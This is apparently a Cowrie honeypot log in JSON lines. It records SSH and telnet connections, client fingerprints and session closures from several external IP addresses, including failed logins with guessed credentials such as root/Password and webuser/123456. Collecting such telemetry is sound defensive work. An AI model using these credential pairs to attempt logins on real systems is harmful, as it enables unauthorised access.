{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:42.887250Z","src_ip":"159.203.92.129","session":"c25819d24c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.471617460250854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.071236Z","src_ip":"5.189.169.71","session":"81fddc07ef0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60570,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b978eb9f1db","protocol":"telnet","message":"New connection: 5.189.169.71:60570 (10.17.0.5:23) [session: 2b978eb9f1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.235119Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50010,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4466fa859db","protocol":"ssh","message":"New connection: 176.65.139.103:50010 (10.17.0.5:22) [session: f4466fa859db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.261654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.266866Z","src_ip":"176.65.139.103","session":"f4466fa859db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.355977Z","src_ip":"176.65.139.103","session":"f4466fa859db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60584,"dst_ip":"10.17.0.5","dst_port":23,"session":"44e4e6da22ec","protocol":"telnet","message":"New connection: 5.189.169.71:60584 (10.17.0.5:23) [session: 44e4e6da22ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.753825Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3d02f9500b","protocol":"telnet","message":"New connection: 94.23.163.94:36332 (10.17.0.5:23) [session: 6a3d02f9500b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.773709Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:44.821050Z","src_ip":"176.65.139.103","session":"f4466fa859db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864900588989258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:45.055931Z","src_ip":"94.23.163.94","session":"3c106a2f7a62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:45.906022Z","src_ip":"176.65.139.103","session":"f4466fa859db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60588,"dst_ip":"10.17.0.5","dst_port":23,"session":"782938f12f04","protocol":"telnet","message":"New connection: 5.189.169.71:60588 (10.17.0.5:23) [session: 782938f12f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:46.361358Z"}
{"eventid":"cowrie.session.closed","duration":34.61289834976196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:46.459766Z","src_ip":"23.254.167.244","session":"ceb67b6ade02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":42950,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e6aa0cfcb2","protocol":"telnet","message":"New connection: 5.189.178.126:42950 (10.17.0.5:23) [session: 23e6aa0cfcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:46.912021Z"}
{"eventid":"cowrie.session.closed","duration":31.082993030548096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:48.057467Z","src_ip":"94.23.163.94","session":"57956193ed5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.139.27","src_port":38042,"dst_ip":"159.203.135.109","dst_port":23,"session":"c004070b1e5b","protocol":"telnet","message":"New connection: 149.202.139.27:38042 (159.203.135.109:23) [session: c004070b1e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:48.196136Z"}
{"eventid":"cowrie.session.closed","duration":31.22477674484253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:48.296825Z","src_ip":"94.23.163.94","session":"b460474507d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.28482675552368,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:48.949506Z","src_ip":"23.254.167.244","session":"8ef01f5a2f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84034204483032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:49.327004Z","src_ip":"23.254.167.244","session":"6f394b7eaa71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36348,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa1054025521","protocol":"telnet","message":"New connection: 94.23.163.94:36348 (10.17.0.5:23) [session: fa1054025521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:50.203185Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50042,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8b6149dc7d","protocol":"ssh","message":"New connection: 176.65.139.103:50042 (10.17.0.5:22) [session: 2b8b6149dc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:50.832650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:50.927653Z","src_ip":"176.65.139.103","session":"2b8b6149dc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:50.931032Z","src_ip":"176.65.139.103","session":"2b8b6149dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8070ee56ca5","protocol":"telnet","message":"New connection: 94.23.163.94:36350 (10.17.0.5:23) [session: e8070ee56ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:51.250307Z"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:51.563874Z","src_ip":"176.65.139.103","session":"2b8b6149dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.829673767089844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:52.063551Z","src_ip":"94.23.163.94","session":"d381ff9c8a44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44dfe4869b9","protocol":"telnet","message":"New connection: 5.189.169.71:37934 (10.17.0.5:23) [session: d44dfe4869b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:52.086425Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:52.658396Z","src_ip":"176.65.139.103","session":"2b8b6149dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71206545829773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:53.045094Z","src_ip":"94.23.163.94","session":"ed435a5bffb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78423810005188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:53.057565Z","src_ip":"5.189.169.71","session":"002d0a5b1a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56444,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d21f61eb70","protocol":"telnet","message":"New connection: 94.23.163.94:56444 (10.17.0.5:23) [session: 52d21f61eb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:53.367085Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56454,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f8d31a8167","protocol":"telnet","message":"New connection: 94.23.163.94:56454 (10.17.0.5:23) [session: 15f8d31a8167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:53.910926Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"f459e20bca09","protocol":"telnet","message":"New connection: 94.23.163.94:56468 (10.17.0.5:23) [session: f459e20bca09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:54.385041Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56484,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1cc487ba5ba","protocol":"telnet","message":"New connection: 94.23.163.94:56484 (10.17.0.5:23) [session: e1cc487ba5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:54.643493Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9807578099a","protocol":"telnet","message":"New connection: 94.23.163.94:56500 (10.17.0.5:23) [session: d9807578099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:54.977895Z"}
{"eventid":"cowrie.session.closed","duration":30.48675847053528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:56.177558Z","src_ip":"94.23.163.94","session":"5820ea2d2cf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326680183410645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:56.272013Z","src_ip":"5.189.169.71","session":"725ef598cb99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44901919364929,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:56.466015Z","src_ip":"23.254.167.244","session":"e1ba1bf55339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.503246068954468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:56.684497Z","src_ip":"5.189.169.71","session":"faead8b12f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394946575164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.059177Z","src_ip":"94.23.163.94","session":"b44ff8da2ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.237410306930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.082036Z","src_ip":"94.23.163.94","session":"5172778b5347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.191535234451294,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.647611Z","src_ip":"23.254.167.244","session":"57d24eec7a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59720,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4bfa7d34322","protocol":"ssh","message":"New connection: 176.65.139.103:59720 (10.17.0.5:22) [session: a4bfa7d34322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.896772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.917538Z","src_ip":"176.65.139.103","session":"a4bfa7d34322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:57.981992Z","src_ip":"176.65.139.103","session":"a4bfa7d34322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.831936836242676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:58.135040Z","src_ip":"5.189.169.71","session":"5b1a38f7b770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733067274093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:58.153392Z","src_ip":"94.23.163.94","session":"2c003f16c597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83453059196472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:58.167996Z","src_ip":"5.189.169.71","session":"97d761c7659c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:58.302404Z","src_ip":"176.65.139.103","session":"a4bfa7d34322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:59.389134Z","src_ip":"176.65.139.103","session":"a4bfa7d34322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd97d8eea70","protocol":"telnet","message":"New connection: 94.23.163.94:56508 (10.17.0.5:23) [session: 8bd97d8eea70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:59.786440Z"}
{"eventid":"cowrie.session.closed","duration":30.755613803863525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:01.054887Z","src_ip":"94.23.163.94","session":"a56c458cedba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":49010,"dst_ip":"10.17.0.5","dst_port":23,"session":"5552fdf130cf","protocol":"telnet","message":"New connection: 5.189.178.126:49010 (10.17.0.5:23) [session: 5552fdf130cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:01.329582Z"}
{"eventid":"cowrie.session.closed","duration":30.57937741279602,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:01.373087Z","src_ip":"94.23.163.94","session":"f760312a9f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56520,"dst_ip":"10.17.0.5","dst_port":23,"session":"067b06146ec5","protocol":"telnet","message":"New connection: 94.23.163.94:56520 (10.17.0.5:23) [session: 067b06146ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:02.297145Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59694,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af4624374a2","protocol":"telnet","message":"New connection: 23.254.167.244:59694 (159.203.135.109:23) [session: 3af4624374a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:02.653472Z"}
{"eventid":"cowrie.session.closed","duration":30.650367975234985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:03.165939Z","src_ip":"5.189.169.71","session":"e1c743777bbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59108,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2673b86496f","protocol":"telnet","message":"New connection: 5.189.169.71:59108 (10.17.0.5:23) [session: b2673b86496f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:03.313638Z"}
{"eventid":"cowrie.session.closed","duration":30.401371240615845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.166721Z","src_ip":"94.23.163.94","session":"5e926dca3b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38858,"dst_ip":"159.203.135.109","dst_port":23,"session":"45cf3ec8c2af","protocol":"telnet","message":"New connection: 23.254.167.244:38858 (159.203.135.109:23) [session: 45cf3ec8c2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.644244Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44344,"dst_ip":"10.17.0.5","dst_port":22,"session":"9403b477fa19","protocol":"ssh","message":"New connection: 176.65.139.103:44344 (10.17.0.5:22) [session: 9403b477fa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.756840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.769025Z","src_ip":"176.65.139.103","session":"9403b477fa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42026,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbaedafe3190","protocol":"telnet","message":"New connection: 94.23.163.94:42026 (10.17.0.5:23) [session: fbaedafe3190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.801211Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:04.854224Z","src_ip":"176.65.139.103","session":"9403b477fa19","protocol":"ssh"}
